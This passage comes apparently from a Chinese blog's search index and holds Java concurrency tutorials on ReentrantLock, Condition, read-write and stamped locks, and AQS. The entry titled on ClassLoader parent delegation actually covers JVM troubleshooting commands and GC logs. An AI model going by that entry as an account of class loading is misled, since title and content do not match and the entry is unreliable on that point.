class="literal">false</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">        Thread.currentThread().interrupt();</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>使用场景</strong>：避免死锁、设置操作超时时间。</p><h2 id="Condition-条件变量"><a href="#Condition-条件变量" class="headerlink" title="Condition 条件变量"></a>Condition 条件变量</h2><p><code>ReentrantLock</code> 可以创建多个 Condition，实现更精细的线程等待/通知：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">BoundedBuffer</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Condition</span> <span class="variable">notFull</span> <span class="operator">=</span> lock.newCondition();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Condition</span> <span class="variable">notEmpty</span> <span class="operator">=</span> lock.newCondition();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> Object[] items;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">int</span> putIndex, takeIndex, count;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">put</span><span class="params">(T x)</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        lock.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">while</span> (count == items.length) &#123;</span><br><span class="line">                notFull.await();  <span class="comment">// 队列满，等待</span></span><br><span class="line">            &#125;</span><br><span class="line">            items[putIndex] = x;</span><br><span class="line">            putIndex = (putIndex + <span class="number">1</span>) % items.length;</span><br><span class="line">            count++;</span><br><span class="line">            notEmpty.signal();  <span class="comment">// 通知消费者</span></span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> T <span class="title function_">take</span><span class="params">()</span> <span class="keyword">throws</span> InterruptedException &#123;</span><br><span class="line">        lock.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">while</span> (count == <span class="number">0</span>) &#123;</span><br><span class="line">                notEmpty.await();  <span class="comment">// 队列空，等待</span></span><br><span class="line">            &#125;</span><br><span class="line">            <span class="meta">@SuppressWarnings(&quot;unchecked&quot;)</span></span><br><span class="line">            <span class="type">T</span> <span class="variable">x</span> <span class="operator">=</span> (T) items[takeIndex];</span><br><span class="line">            takeIndex = (takeIndex + <span class="number">1</span>) % items.length;</span><br><span class="line">            count--;</span><br><span class="line">            notFull.signal();  <span class="comment">// 通知生产者</span></span><br><span class="line">            <span class="keyword">return</span> x;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            lock.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>与 Object.wait/notify 对比</strong>：</p><table><thead><tr><th>特性</th><th>Condition</th><th>Object wait/notify</th></tr></thead><tbody><tr><td>数量</td><td>多个</td><td>一个</td></tr><tr><td>等待队列</td><td>精确唤醒</td><td>可能唤醒错误线程</td></tr><tr><td>响应中断</td><td>awaitUninterruptibly</td><td>不支持</td></tr><tr><td>超时等待</td><td>支持纳秒级</td><td>毫秒级</td></tr></tbody></table><h2 id="锁的查询方法"><a href="#锁的查询方法" class="headerlink" title="锁的查询方法"></a>锁的查询方法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="type">ReentrantLock</span> <span class="variable">lock</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantLock</span>();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 获取当前持有锁的线程</span></span><br><span class="line"><span class="type">Thread</span> <span class="variable">owner</span> <span class="operator">=</span> lock.getOwner();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 是否有线程在等待</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">hasWaiters</span> <span class="operator">=</span> lock.hasWaiters(condition);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 等待队列长度</span></span><br><span class="line"><span class="type">int</span> <span class="variable">waitQueueLength</span> <span class="operator">=</span> lock.getWaitQueueLength(condition);</span><br><span class="line"></span><br><span class="line"><span class="comment">// 是否被当前线程持有</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">heldByCurrent</span> <span class="operator">=</span> lock.isHeldByCurrentThread();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 是否被任意线程持有</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">locked</span> <span class="operator">=</span> lock.isLocked();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 公平性设置</span></span><br><span class="line"><span class="type">boolean</span> <span class="variable">fair</span> <span class="operator">=</span> lock.isFair();</span><br><span class="line"></span><br><span class="line"><span class="comment">// 持有锁的重入次数</span></span><br><span class="line"><span class="type">int</span> <span class="variable">holdCount</span> <span class="operator">=</span> lock.getHoldCount();</span><br></pre></td></tr></table></figure><h2 id="读写锁-ReentrantReadWriteLock"><a href="#读写锁-ReentrantReadWriteLock" class="headerlink" title="读写锁 ReentrantReadWriteLock"></a>读写锁 ReentrantReadWriteLock</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Cache</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">ReentrantReadWriteLock</span> <span class="variable">rwl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ReentrantReadWriteLock</span>();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Lock</span> <span class="variable">r</span> <span class="operator">=</span> rwl.readLock();</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">Lock</span> <span class="variable">w</span> <span class="operator">=</span> rwl.writeLock();</span><br><span class="line">    <span class="keyword">private</span> Map&lt;String, Object&gt; data = <span class="keyword">new</span> <span class="title class_">HashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">get</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        r.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> data.get(key);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            r.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">put</span><span class="params">(String key, Object value)</span> &#123;</span><br><span class="line">        w.lock();</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            data.put(key, value);</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            w.unlock();</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>特点</strong>：</p><ul><li>读读不互斥</li><li>读写互斥</li><li>写写互斥</li></ul><h2 id="StampedLock（JDK-8）"><a href="#StampedLock（JDK-8）" class="headerlink" title="StampedLock（JDK 8）"></a>StampedLock（JDK 8）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Point</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="type">double</span> x, y;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">final</span> <span class="type">StampedLock</span> <span class="variable">sl</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">StampedLock</span>();</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 乐观读</span></span><br><span class="line">    <span class="keyword">public</span> <span class="type">double</span> <span class="title function_">distanceFromOrigin</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="type">long</span> <span class="variable">stamp</span> <span class="operator">=</span> sl.tryOptimisticRead();</span><br><span class="line">        <span class="type">double</span> <span class="variable">currentX</span> <span class="operator">=</span> x, currentY = y;</span><br><span class="line">        <span class="keyword">if</span> (!sl.validate(stamp)) &#123;  <span class="comment">// 检查是否被修改</span></span><br><span class="line">            stamp = sl.readLock();   <span class="comment">// 升级为悲观读</span></span><br><span class="line">            <span class="keyword">try</span> &#123;</span><br><span class="line">                currentX = x;</span><br><span class="line">                currentY = y;</span><br><span class="line">            &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                sl.unlockRead(stamp);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> Math.sqrt(currentX * currentX + currentY * currentY);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="最佳实践"><a href="#最佳实践" class="headerlink" title="最佳实践"></a>最佳实践</h2><ol><li><strong>优先使用 synchronized</strong>：简单场景，JVM 优化好</li><li><strong>需要高级功能时用 ReentrantLock</strong>：可中断、超时、公平锁、多条件</li><li><strong>始终在 finally 中 unlock</strong></li><li><strong>读多写少用 ReadWriteLock</strong></li><li><strong>避免锁嵌套</strong>：防止死锁</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 好的模式</span></span><br><span class="line">lock.lock();</span><br><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="comment">// 临界区</span></span><br><span class="line">&#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">    lock.unlock();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p><code>ReentrantLock</code> 提供了比 <code>synchronized</code> 更灵活的锁机制，但使用复杂度也更高。在大多数场景下，<code>synchronized</code> 已经足够；只有在需要可中断、超时、公平性或多条件等待时，才考虑使用 <code>ReentrantLock</code>。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>ReentrantLock 支持公平锁和非公平锁，默认是非公平锁</p></li><li><p>提供了 tryLock()、lockInterruptibly() 等高级功能</p></li><li><p>必须在 finally 块中释放锁，否则可能造成死锁</p></li><li><p>公平锁性能较低，但保证线程获取锁的顺序</p></li></ol><h2 id="总结-1"><a href="#总结-1" class="headerlink" title="总结"></a>总结</h2><p>ReentrantLock 在需要高级功能时比 synchronized 更合适。在实际项目中，大多数场景使用 synchronized 就足够了，只有在需要定时锁、可中断锁等功能时才考虑 ReentrantLock。</p>]]></content>
      
      
      <categories>
          
          <category> Java并发 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Java </tag>
            
            <tag> 并发 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>ClassLoader 双亲委派模型实践理解</title>
      <link href="//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/"/>
      <url>//classloader-shuang-qin-wei-pai-mo-xing-shi-jian-li-jie/</url>
      
        <content type="html"><![CDATA[<h1 id="ClassLoader-双亲委派模型实践理解"><a href="#ClassLoader-双亲委派模型实践理解" class="headerlink" title="ClassLoader 双亲委派模型实践理解"></a>ClassLoader 双亲委派模型实践理解</h1><p>双亲委派模型是 Java 类加载的核心。本文讲它的原理和实际应用。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>AQS为什么是并发工具的基础</title>
      <link href="//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/"/>
      <url>//aqs-wei-shi-me-shi-bing-fa-gong-ju-de-ji-chu/</url>
      
        <content type="html"><![CDATA[<h1 id="AQS为什么是并发工具的基础"><a href="#AQS为什么是并发工具的基础" class="headerlink" title="AQS为什么是并发工具的基础"></a>AQS为什么是并发工具的基础</h1><p>在 Java 并发编程中，AQS（AbstractQueuedSynchronizer）是理解 ReentrantLock、Semaphore、CountDownLatch 等工具的关键。很多开发者每天在用这些并发工具，却未必清楚它们的底层实现都依赖同一个框架。本文从实际应用角度梳理 AQS 的核心思想，结合源码片段说明它是如何支撑各种同步器的。</p><h2 id="AQS-核心设计"><a href="#AQS-核心设计" class="headerlink" title="AQS 核心设计"></a>AQS 核心设计</h2><p>AQS 使用 <strong>int 类型的 state</strong> 表示同步状态，使用 <strong>FIFO 双端队列</strong> 管理等待线程。</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">abstract</span> <span class="keyword">class</span> <span class="title class_">AbstractQueuedSynchronizer</span> </span><br><span class="line">    <span class="keyword">extends</span> <span class="title class_">AbstractOwnableSynchronizer</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">volatile</span> <span class="type">int</span> state;           <span class="comment">// 同步状态</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node head; <span class="comment">// 队头</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">transient</span> <span class="keyword">volatile</span> Node tail; <span class="comment">// 队尾</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="Node-节点结构"><a href="#Node-节点结构" class="headerlink" title="Node 节点结构"></a>Node 节点结构</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Node</span> &#123;</span><br><span class="line">    <span class="keyword">volatile</span> <span class="type">int</span> waitStatus;     <span class="comment">// 节点状态</span></span><br><span class="line">    <span class="keyword">volatile</span> Node prev;          <span class="comment">// 前驱</span></span><br><span class="line">    <span class="keyword">volatile</span> Node next;          <span class="comment">// 后继</span></span><br><span class="line">    <span class="keyword">volatile</span> Thread thread;      <span class="comment">// 绑定的线程</span></span><br><span class="line">    Node nextWaiter;             <span class="comment">// 共享/独占模式或Condition队列</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>waitStatus 状态</strong>：</p><ul><li><code>CANCELLED(1)</code>：节点已取消</li><li><code>SIGNAL(-1)</code>：后继节点需要唤醒</li><li><code>CONDITION(-2)</code>：在 Condition 队列中</li><li><code>PROPAGATE(-3)</code>：共享模式传播</li></ul><h2 id="AQS-的核心方法"><a href="#AQS-的核心方法" class="headerlink" title="AQS 的核心方法"></a>AQS 的核心方法</h2><p>#</p><h2 id="子类需要实现的方法"><a href="#子类需要实现的方法" class="headerlink" title="子类需要实现的方法"></a>子类需要实现的方法</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 独占式获取锁</span></span><br><span class="line"><span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 独占式释放锁</span></span><br><span class="line"><span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryRelease</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 共享式获取锁</span></span><br><span class="line"><span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 共享式释放锁</span></span><br><span class="line"><span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryReleaseShared</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 当前线程是否持有锁</span></span><br><span class="line"><span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">isHeldExclusively</span><span class="params">()</span>;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="模板方法"><a href="#模板方法" class="headerlink" title="模板方法"></a>模板方法</h2><p>AQS 提供了获取和释放的模板方法：</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 获取锁（忽略中断）</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">acquire</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 释放锁</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">release</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 共享获取</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">acquireShared</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 共享释放</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">releaseShared</span><span class="params">(<span class="type">int</span> arg)</span>;</span><br></pre></td></tr></table></figure><h2 id="独占锁获取流程"><a href="#独占锁获取流程" class="headerlink" title="独占锁获取流程"></a>独占锁获取流程</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">acquire</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (!tryAcquire(arg) &amp;&amp;</span><br><span class="line">        acquireQueued(addWaiter(Node.EXCLUSIVE), arg))</span><br><span class="line">        selfInterrupt();</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="流程解析"><a href="#流程解析" class="headerlink" title="流程解析"></a>流程解析</h2><ol><li><strong>tryAcquire</strong>：尝试获取锁，成功则返回</li><li><strong>addWaiter</strong>：获取失败，将线程封装为 Node 入队</li><li><strong>acquireQueued</strong>：在队列中自旋或阻塞等待</li></ol><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">acquireQueued</span><span class="params">(<span class="keyword">final</span> Node node, <span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="type">boolean</span> <span class="variable">failed</span> <span class="operator">=</span> <span class="literal">true</span>;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">boolean</span> <span class="variable">interrupted</span> <span class="operator">=</span> <span class="literal">false</span>;</span><br><span class="line">        <span class="keyword">for</span> (;;) &#123;  <span class="comment">// 自旋</span></span><br><span class="line">            <span class="keyword">final</span> <span class="type">Node</span> <span class="variable">p</span> <span class="operator">=</span> node.predecessor();</span><br><span class="line">            <span class="keyword">if</span> (p == head &amp;&amp; tryAcquire(arg)) &#123;  <span class="comment">// 前驱是头节点，尝试获取</span></span><br><span class="line">                setHead(node);  <span class="comment">// 获取成功，成为头节点</span></span><br><span class="line">                p.next = <span class="literal">null</span>;</span><br><span class="line">                failed = <span class="literal">false</span>;</span><br><span class="line">                <span class="keyword">return</span> interrupted;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">if</span> (shouldParkAfterFailedAcquire(p, node) &amp;&amp;</span><br><span class="line">                parkAndCheckInterrupt())  <span class="comment">// 阻塞线程</span></span><br><span class="line">                interrupted = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (failed)</span><br><span class="line">            cancelAcquire(node);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="图解流程"><a href="#图解流程" class="headerlink" title="图解流程"></a>图解流程</h2><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line">线程A获取锁成功</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">state = 1, head -&gt; null</span><br><span class="line">    |</span><br><span class="line">线程B获取锁失败</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">addWaiter: tail -&gt; Node(B) -&gt; null</span><br><span class="line">            head -&gt; Node(B)  (初始化head为哑节点)</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">线程B在acquireQueued中自旋：</span><br><span class="line">    前驱是head -&gt; tryAcquire失败（线程A未释放）</span><br><span class="line">    -&gt; shouldParkAfterFailedAcquire -&gt; parkAndCheckInterrupt</span><br><span class="line">    -&gt; LockSupport.park(B)  // 阻塞</span><br><span class="line">    |</span><br><span class="line">线程A释放锁</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">tryRelease -&gt; state = 0 -&gt; unparkSuccessor</span><br><span class="line">    -&gt; LockSupport.unpark(B)</span><br><span class="line">    |</span><br><span class="line">    v</span><br><span class="line">线程B被唤醒 -&gt; 继续自旋 -&gt; tryAcquire成功</span><br><span class="line">    -&gt; setHead(B) -&gt; state = 1</span><br></pre></td></tr></table></figure><h2 id="锁释放流程"><a href="#锁释放流程" class="headerlink" title="锁释放流程"></a>锁释放流程</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">release</span><span class="params">(<span class="type">int</span> arg)</span> &#123;</span><br><span class="line">    <span class="keyword">if</span> (tryRelease(arg)) &#123;  <span class="comment">// 子类实现释放逻辑</span></span><br><span class="line">        <span class="type">Node</span> <span class="variable">h</span> <span class="operator">=</span> head;</span><br><span class="line">        <span class="keyword">if</span> (h != <span class="literal">null</span> &amp;&amp; h.waitStatus != <span class="number">0</span>)</span><br><span class="line">            unparkSuccessor(h);  <span class="comment">// 唤醒后继</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="ReentrantLock-中的-AQS"><a href="#ReentrantLock-中的-AQS" class="headerlink" title="ReentrantLock 中的 AQS"></a>ReentrantLock 中的 AQS</h2><p>#</p><h2 id="非公平锁"><a href="#非公平锁" class="headerlink" title="非公平锁"></a>非公平锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">NonfairSync</span> <span class="keyword">extends</span> <span class="title class_">Sync</span> &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">lock</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">if</span> (compareAndSetState(<span class="number">0</span>, <span class="number">1</span>))  <span class="comment">// 先CAS抢锁</span></span><br><span class="line">            setExclusiveOwnerThread(Thread.currentThread());</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">            acquire(<span class="number">1</span>);  <span class="comment">// 失败则进入AQS队列</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> nonfairTryAcquire(acquires);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="公平锁"><a href="#公平锁" class="headerlink" title="公平锁"></a>公平锁</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">FairSync</span> <span class="keyword">extends</span> <span class="title class_">Sync</span> &#123;</span><br><span class="line">    <span class="keyword">final</span> <span class="keyword">void</span> <span class="title function_">lock</span><span class="params">()</span> &#123;</span><br><span class="line">        acquire(<span class="number">1</span>);  <span class="comment">// 直接进队列，按顺序获取</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">protected</span> <span class="keyword">final</span> <span class="type">boolean</span> <span class="title function_">tryAcquire</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">        <span class="keyword">final</span> <span class="type">Thread</span> <span class="variable">current</span> <span class="operator">=</span> Thread.currentThread();</span><br><span class="line">        <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">        <span class="keyword">if</span> (c == <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="keyword">if</span> (!hasQueuedPredecessors() &amp;&amp;  <span class="comment">// 检查是否有前驱节点</span></span><br><span class="line">                compareAndSetState(<span class="number">0</span>, acquires)) &#123;</span><br><span class="line">                setExclusiveOwnerThread(current);</span><br><span class="line">                <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">// 重入逻辑...</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="CountDownLatch-中的-AQS"><a href="#CountDownLatch-中的-AQS" class="headerlink" title="CountDownLatch 中的 AQS"></a>CountDownLatch 中的 AQS</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">CountDownLatch</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        Sync(<span class="type">int</span> count) &#123;</span><br><span class="line">            setState(count);  <span class="comment">// state = 计数器值</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// await()调用：共享获取</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">return</span> (getState() == <span class="number">0</span>) ? <span class="number">1</span> : -<span class="number">1</span>;  <span class="comment">// state为0时才成功</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// countDown()调用：共享释放</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">boolean</span> <span class="title function_">tryReleaseShared</span><span class="params">(<span class="type">int</span> releases)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span class="line">                <span class="type">int</span> <span class="variable">c</span> <span class="operator">=</span> getState();</span><br><span class="line">                <span class="keyword">if</span> (c == <span class="number">0</span>) <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">                <span class="type">int</span> <span class="variable">nextc</span> <span class="operator">=</span> c - <span class="number">1</span>;</span><br><span class="line">                <span class="keyword">if</span> (compareAndSetState(c, nextc))</span><br><span class="line">                    <span class="keyword">return</span> nextc == <span class="number">0</span>;  <span class="comment">// 减到0时唤醒等待线程</span></span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="Semaphore-中的-AQS"><a href="#Semaphore-中的-AQS" class="headerlink" title="Semaphore 中的 AQS"></a>Semaphore 中的 AQS</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Semaphore</span> &#123;</span><br><span class="line">    <span class="keyword">abstract</span> <span class="keyword">static</span> <span class="keyword">class</span> <span class="title class_">Sync</span> <span class="keyword">extends</span> <span class="title class_">AbstractQueuedSynchronizer</span> &#123;</span><br><span class="line">        <span class="comment">// tryAcquireShared：获取信号量</span></span><br><span class="line">        <span class="keyword">protected</span> <span class="type">int</span> <span class="title function_">tryAcquireShared</span><span class="params">(<span class="type">int</span> acquires)</span> &#123;</span><br><span class="line">            <span class="keyword">for</span> (;;) &#123;</span><br><span 